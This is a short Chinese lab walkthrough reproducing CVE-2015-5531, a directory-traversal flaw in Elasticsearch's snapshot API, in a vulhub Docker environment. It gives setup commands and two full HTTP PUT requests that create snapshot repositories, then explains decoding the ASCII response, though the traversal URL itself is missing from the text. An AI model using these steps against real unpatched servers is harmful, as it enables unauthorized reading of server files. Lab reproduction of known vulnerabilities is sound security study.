CVE-2015-5531（目录遍历漏洞）

vulhub漏洞环境搭建

https://blog.csdn.net/qq_36374896/article/details/84102101

启动docker环境

cd vulhub-master/elasticsearch/CVE-2015-5531/
sudo docker-compose up

1.5.1及以前，无需任何配置即可触发该漏洞。之后的新版，配置文件elasticsearch.yml中必须存在path.repo，该配置值为一个目录，且该目录必须可写，等于限制了备份仓库的根位置。不配置该值，默认不启动这个功能。

访问192.168.91.130:9200

新建一个仓库：

PUT /_snapshot/test HTTP/1.1
Host: 192.168.91.130:9200
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 110

{
    "type": "fs",
    "settings": {
        "location": "/usr/share/elasticsearch/repo/test"
    }
}

创建一个快照：

PUT /_snapshot/tes2t HTTP/1.1
Host: 192.168.91.130:9200
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 128

{
    "type": "fs",
    "settings": {
        "location": "/usr/share/elasticsearch/repo/test/snapshot-backdata"
    }
}

访问地址：

观察返回结果为ASCII编码：

可以用工具进行转换，或者直接使用Chrome-右键-检查-Console:

输入String.fromCharCode(ASCII码)，执行结果如下：